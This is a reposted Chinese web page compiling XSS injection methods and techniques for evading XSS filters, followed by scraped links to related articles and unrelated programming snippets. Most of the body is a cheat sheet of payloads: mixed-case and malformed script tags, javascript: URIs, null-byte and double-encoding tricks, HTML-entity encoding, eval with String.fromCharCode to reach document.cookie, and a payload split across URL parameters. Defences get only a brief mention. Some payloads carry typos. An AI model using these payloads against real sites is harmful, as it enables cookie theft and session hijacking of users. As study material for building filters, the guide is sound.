(转自黑吧安全网http://www.myhack58.com/)

web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式:

一、html标签注入

这是最常见的一种,主要入口为表单项(一般就是正则过滤不周全)、内联样式表(exploer)

正则过滤的解决办法,php一般会使用htmlspecialchars或者htmlentities函数进行转义

注入方式有<script>/图片标签/连接标签/head头中其他标签,比如:

<sCrIpT. src=xss.js></sCrIpT>  <<script>alert("xss");//<</script>

img src="javascript.:alert('xss');">  <img """><script>alert("xss")</script>">

<script. a=">" SRC="xss.js"></script> <iframe. src="javascript.:alert('xss');"></iframe>

二、js代码注入

一般为使用JS代码直接引用,不经校验的字符串,解析不安全的json(p)数据等

比如一个name字段,没有经过过滤时,当name等于以下输入时

';alert('xss');//

'';!--"<xss>=&{()}

那使用document.write('u name is' + name);,就会破坏原有结构,插入不期望的数据

三、应对XSS注入的方法主要有2种:

1、对输入的数据进行转义保存,在输出时再进行还原

2、对输入的数据进行过滤,确保输入数据符合我们的期望(数据类型、长度、过滤空格/特殊字符、判断唯一性等)

对应的,逃避过滤的方法就有以下几种:

A、许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:<script. >

B、因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。例如:<ScRiPt>,通过改变字符大小写避开过滤。

C、一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但通常可以依靠周围现有的语法,结束注入的标签,从而避开这种过滤。比如:

a 某个表单中的value值为:

  <input type="hidden" name="pageid" value="擦擦擦">
  使用如下代码进行替换,从而注入一个js新标签
擦擦擦"><x styple=" x:expression(alert(document.cookie))
   b 浏览器一般会接受未结束的html标签(现在还有N多不服务W3C标准的浏览器存在),如下代码就可避开过滤,执行一个alert操作
  <img src="" nerror=alert{document.cookie}
  D、一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。可以通过使用多余的括号避开过滤。

<<script>alert(document.cookie);//<</script>
  E、即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤,还是上面C的表单

  擦擦擦%00<script>
  F、在不同的目标浏览器中,通常可以在被过滤的表达式中插入能够避开过滤、但仍被浏览器接受的字符:

  <script/src=...
 
  <scr%00ipt>
 
  expr/*****/ession
  G、果用户提交的数据在应用过滤后还进行了规范化(encode/decode),我们仍可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞进行利用。

  %3cscript%3e(一次encode)            %253cscript%253e(2次encode)
  H、由于在服务器执行所有输入确认后,在响应中返回的攻击有效代码会被受害者的浏览器解析,这时候就出现了一种避开规范化的特殊情况。有时候,可以对攻击代码进行HTML编码以避开服务器的输入确认,受害者的浏览器将会再次解析攻击代码。例如,表达式Javascript:常被阻止以防止使用这种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。例如:
  a、<img src=javascript.:...

 
  <img src=javascri&0000112;t:...
 
  <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A....

  以上三个例子分别使用标准的UTF-8编码、利用多余填补数据的标准编码以及省略分号的十六进制编码。不同的编码类型进行结合,排列组合量非常大。
  b、有时候我们能够成功执行一些JavaScript脚本,但在代码中对一些命令和关键字进行了限制。这个时候,可以通过动态创建并执行语句来避开应用程序的过滤。
  比如,应用程序阻止用户提交任何包含表达式document.cookie的数据,可以通过如下方法来避开这种过滤:

  var a = "alert(doc" + "ument.coo" + "kie)"; eval(a);
  或var a = "alert(" + String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101) + ")"; eval(a);
  c、有时候应用程序会对某些关键字分进行HTML编码(<变成<;,>变成>;),这种情况下,应用程序可能会完全删除某些字符或表达式,试图利用这种净化来阻止恶意代码的执行。通常碰到这种字符净化设置,需要查明应用程序净化了哪些字符与表达式,以及能否通过剩下的字符实施攻击。
  I、如果过滤完全删除某些表达式,并且至少有一个被删除的表达式长度超过一个字符,那么只要应用程序没有进行递归净化,就可能避开过滤。
  <scr<script>ipt>

  假设应用程序对每个字段实施了长度限制,以阻止在其中插入有效的攻击字符串。但是攻击者仍然可以使用下面的方法,将一段脚本分布到他所控制的三个位置,从而传送一个有效的攻击字符串:
  比如下面这个链接(get方式,使用三个参数)

  https://xxx.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>"
  最终得到的HTML完全有效,其中的源代码块已成为JavaScript注释(包含在/*与*/之间),因此被浏览器忽略。这样注入的脚本被执行

XSS注入方式和逃避XSS过滤的常用方法(整理)的更多相关文章

  1. 简单的xss注入和防御

    什么是xss注入: xss通常就是通过巧妙的方法注入指令到指定页面,使用户加载执行的恶意的js(或者其他类型)的代码,攻击者会获取用户的一系列信息,如cookie等,从而进行其他用户信息的盗取 为什么 ...

  2. Java Filter过滤xss注入非法参数的方法

    http://blog.csdn.NET/feng_an_qi/article/details/45666813 Java Filter过滤xss注入非法参数的方法 web.xml: <filt ...

  3. XSS注入

    XSS 原理: 程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害. 分类 : 危害:存储型 > 反射型 > ...

  4. 富文本编辑器防止xss注入javascript版

    富文本编辑器:ueditor 其实富文本编辑器已经有防止xss注入功能,但是你服务端程序在接收的时候在做一次转义,否则有可能然后前端验证直接提交数据导致被xss攻击. 为了节省后端程序开销则在前端 显 ...

  5. 【web安全】第一弹:利用xss注入获取cookie

    首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...

  6. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  7. 关于web XSS注入问题

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,附带公司写的一个filer. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经 ...

  8. 初级安全入门——XSS注入的原理与利用

    XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...

  9. web安全之XSS注入

    之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...

随机推荐

  1. 方法Join()

    等待线程结束:jion() 谦让: yeild() 睡眠: sleep() jion和sleep和yeild之间有什么区别呢? 首先介绍一下jion(): 如果想让主线程等待子线程执行完毕之后再继续运 ...

  2. 怎么追加byte内容

    public byte[] InsertByte(string dx) { List<byte> temp = new List<byte>(); byte[] b= Enco ...

  3. Bentley二次开发中的,沿曲线构造拉伸实体问题

    引用文件:Bentley.Interop.MicroStationDGN 本人开发过程中遇到问题: 创建多个线段及弧线,通过自动创建复杂链获得,沿曲线构造拉伸实体的Path参数,拉伸曲线路径首尾特别近 ...

  4. lr 计算字符串长度

    sizeof求后面的内容or表达式所占用的字节数 strlen求字符串的有效长度,只要遇到'\0'就认为字符串结束 字符串转化为int型变量 Action2() { int j = 0; j = at ...

  5. leetcode.图.207课程表-Java

    1. 具体题目 现在你总共有 n 门课需要选,记为 0 到 n-1.在选修某些课程之前需要一些先修课程. 例如,想要学习课程 0 ,你需要先完成课程 1 ,我们用一个匹配来表示他们: [0,1].给定 ...

  6. time模块 datetime 模块 random 模块 OS 模块 sys 模块 hashlib 模块

    time模块 在python中的时间表现形式: 时间戳 (自1970-01-01-00-00 到当前时间,按秒计算,一共过了多少秒 格式化时间 返回的是时间的字符串 格式化时间对象 返回的是一个元组  ...

  7. Moco 框架以及其在 Web 集成测试的应用

    转自:https://www.ibm.com/developerworks/cn/web/1405_liugang_mocowebtest/ Moco 框架以及其在 Web 集成测试的应用 我们往往将 ...

  8. 【转】CentOS 7.3 从下载到安装

    CentOS 7.3 从下载到安装  https://blog.csdn.net/sxy2475/article/details/75194142 [百度知道]图解CentOS 7.3安装步骤  ht ...

  9. Ubuntu 16.04 修改状态栏位置

    修改状态栏位置: gsettings set com.canonical.Unity.Launcher launcher-position Bottom #底部(苹果风格) gsettings set ...

  10. rabbitmq 发送的用户名是什么

    消费的用户名也必须是什么 接收必须单独启动线程——否则mfc会崩溃 Sleep(30000);  //30秒 只要你打开消费队列,只消费1个 队列中所有数据都丢失???????? 断线重连: 知道答案 ...